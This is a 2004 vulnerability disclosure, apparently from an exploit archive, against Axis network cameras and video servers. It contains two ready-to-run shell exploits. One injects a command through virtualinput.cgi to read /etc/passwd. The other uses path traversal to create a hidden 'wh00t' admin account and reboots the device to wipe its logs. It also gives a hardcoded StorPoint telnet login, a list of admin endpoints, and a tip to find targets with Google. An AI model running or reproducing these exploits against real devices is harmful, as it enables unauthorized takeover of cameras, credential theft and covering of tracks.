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axisFlaws.txt

🗓️ 24 Aug 2004 00:00:00Reported by bashisType 
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Found vulnerabilities in Axis Network Cameras/Video Servers; no response from vendor for fixes.

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/* Public disclosure due lack of responce from Axis Communications */  
  
I have found a couple of bugs in Axis Network Camera/Video Servers.  
(I have all Axis stuff in one e-mail, instead of multiple, lazy me.. ;)  
  
Vulnerable: Axis 2100/2110/2120/2420/2130 Network Camera, 2400/2401 Video Server.  
(There may be more devices vulnerable)  
  
Included files (some is simple shell scripts):  
axis-passwd.sh ........... Get /etc/passwd as 'anonymous viewer' v2.34/2.40  
axis-wh00t.sh ............ Add admin account as 'anonymous viewer' v2.12-2.40 (whoops!)  
axis-cgi.txt ............. [bonus] Not so mutch bugs here, but nice to know ;)  
axis-storpoint-cd-E100.txt [bonus] Hardcoded l/p in Storepoint CD servers  
  
Check each section for more details.  
  
Quote of the day: Never say "whoops!", always say "Ah, Interesting!"  
  
Vendor,  
Contacted:  
>To: [email protected]  
>Date: Mon, 16 Aug 2004 22:48:38 +0200 (CEST)  
  
Status: No responce what so ever.  
Fix/Workaround: None, v2.40 is the latest known version.  
Url: http://www.axis.com/  
  
Greets to people in #hack.se @EFnet.  
  
Have a nice day  
/bashis  
  
----[ axis-passwd.sh ]----  
  
#!/bin/sh  
#  
# Get /etc/passwd from:  
# Axis 2100/2110/2120/2420 Network Camera 2.34/2.40  
# AXIS 2130 PTZ Network Camera  
# AXIS 2400/2401 Video Server  
# (There may be more devices vulnerable)  
#  
# Problem:  
# PARAMETER=`echo $QUERY_STRING | sed 's/\(^.*\)=.*$/\1/'`  
# in 'virtualinput.cgi'  
#  
# Bug found and code by bashis <mcw+at+wcd.se> 2004-08  
# Greets: #hack.se @EFnet  
#  
# FAQ:  
# Q: Where is the cam's?  
# A: Google is your friend.  
#  
if [ ${#*} -ne 2 ]  
then  
printf "\nUsage: %s <ip> <port>\n\n" $0  
exit 1  
fi  
#  
printf "+++ Sending request to %s:%d\n+++ Received:\n" $1 $2  
printf "GET /axis-cgi/io/virtualinput.cgi?\x60cat</etc/passwd>/mnt/flash/etc/httpd/html/passwd\x60 HTTP/1.1\n\n" | nc $1 $2  
printf "+++ Yeah, right.. for you maybe, but not for me ;->\n\n+++ Get the passwd file now\n+++ Received:\n"  
printf "GET /local/passwd HTTP/1.0\n\n" | nc $1 $2  
printf "\n+++ Thats it.. Thanks for using Axis Airlines!\n"  
  
----[ axis-wh00t.sh ]----  
  
#!/bin/sh  
#  
# Add admin account with l/p: wh00t/wh00t  
# Axis 2100/2110/2120/2420 Network Camera 2.12-2.40  
# AXIS 2130 PTZ Network Camera  
# AXIS 2400/2401 Video Server  
# (There may be more devices vulnerable)  
#  
# Problem:  
# POST action follows "/../"  
#  
# Bug found and code by bashis <mcw+at+wcd.se> 2004-08  
# Greets: #hack.se @EFnet  
#  
# 2.12 seems to very buggy version, it add wh00t account,  
# but editcgi.cgi seems not to work..  
#  
# Yes, you can use 'editcgi.cgi' to edit /etc/passwd  
# and change/add what you want, or browse around in filesystem.  
#  
# FAQ:  
# Q: Where is the cam's?  
# A: Google is your friend.  
#  
if [ ${#*} -ne 2 ]  
then  
printf "\nUsage: %s <ip> <port>\n\n" $0  
exit 1  
fi  
#  
printf "+++ Sending request to %s:%d\n" $1 $2  
printf "+++ If all went well, you should see the password file soon...\n+++ Received:\n\n"  
printf "POST /cgi-bin/scripts/../../this_server/ServerManager.srv HTTP/1.0\nContent-Length: 250\nPragma: no-cache\n\nconf_Security_List=root%%3AADVO%%3A%%3Awh00t%%3AAD%%3A119104048048116%%3A&users=wh00t&username=wh00t&password1=wh00t&password2=wh00t&checkAdmin=on&checkDial=on&checkView=on&servermanager_return_page=%%2Fadmin%%2Fsec_users.shtml&servermanager_do=set_variables\n" | nc $1 $2 > /dev/null  
# Note.......^^^^^^^^^^^^^^^^^^^^^^  
#  
printf "GET /admin-bin/editcgi.cgi?file=/etc/passwd HTTP/1.0\nHost: 127.0.0.1\nAuthorization: Basic d2gwMHQ6d2gwMHQ=\n\n" | nc $1 $2  
# it's good to clear logfile, so let us reboot the device now  
printf "GET /cgi-bin/admin/restart.cgi HTTP/1.0\nAuthorization: Basic d2gwMHQ6d2gwMHQ=\n\n" | nc $1 $2 > /dev/null  
printf "\n\n+++ You can edit file(s) and browse around filesystem with:\nhttp://$1/admin-bin/editcgi.cgi?file=\n"  
printf "+++ Login with wh00t/wh00t (yes, you can edit /etc/passwd)\n"  
printf "\n+++ Thats it.. Thanks for using Axis Airlines!\n"  
  
----[ axis-cgi.txt ]----  
  
# Well, not so mutch bugs here, but nice to know.. ;)  
#  
# From version: 2.12 and newer.  
# (All dosn't work with 2.12)  
#  
  
List all availible parameters.  
> http://<device>/cgi-bin/admin/getparam.cgi  
or  
> http://<device>/cgi-bin/admin/getparam.cgi?root.Layout.OwnTitle  
  
Set one parameter.  
> http://<device>/cgi-bin/admin/setparam.cgi?root.Layout.OwnTitle=Lame%20stuff  
  
# Note, Axis is changing 'cgi-bin' to 'axis-cgi'  
#  
/cgi-bin/admin/systemlog.cgi (show syslog)  
/cgi-bin/admin/serverreport.cgi (use[full|less] reports)  
/cgi-bin/admin/restart.cgi (restart device, also good to clear syslog)  
/cgi-bin/admin/paramlist.cgi (get some config)  
/cgi-bin/admin/getparam.cgi (shown above)  
/cgi-bin/admin/setparam.cgi (shown above)  
/cgi-bin/admin/factorydefault.cgi (hrmm.. ;)  
/admin-bin/editcgi.cgi?file= (browse filesystem, edit any file)  
  
----[ axis-storpoint-cd-E100.txt ]----  
  
# Yeah, old product.. old version.. but.. hardcoded l/p, uhm?  
# l: copyright p: mammalambalouie  
#  
# Note, this hardcoded l/p exist in other products and newer versions  
# of software as well, but i have not done so mutch research about this.  
  
$ telnet xxx.xxx.xxx.xxx  
Trying xxx.xxx.xxx.xxx...  
Connected to xxx.xxx.xxx.xxx.  
Escape character is '^]'.  
  
AXIS StorPoint CD E100 TELNET CD-ROM Server V5.30 Feb 29 2000  
  
AXIS StorPoint CD E100 network login: copyright  
Password: mammalambalouie  
  
AXIS StorPoint CD E100 TELNET CD-ROM Server V5.30 Feb 29 2000  
  
Root>   
Root> q  
Goodbye!  
Connection closed by foreign host.  
$   
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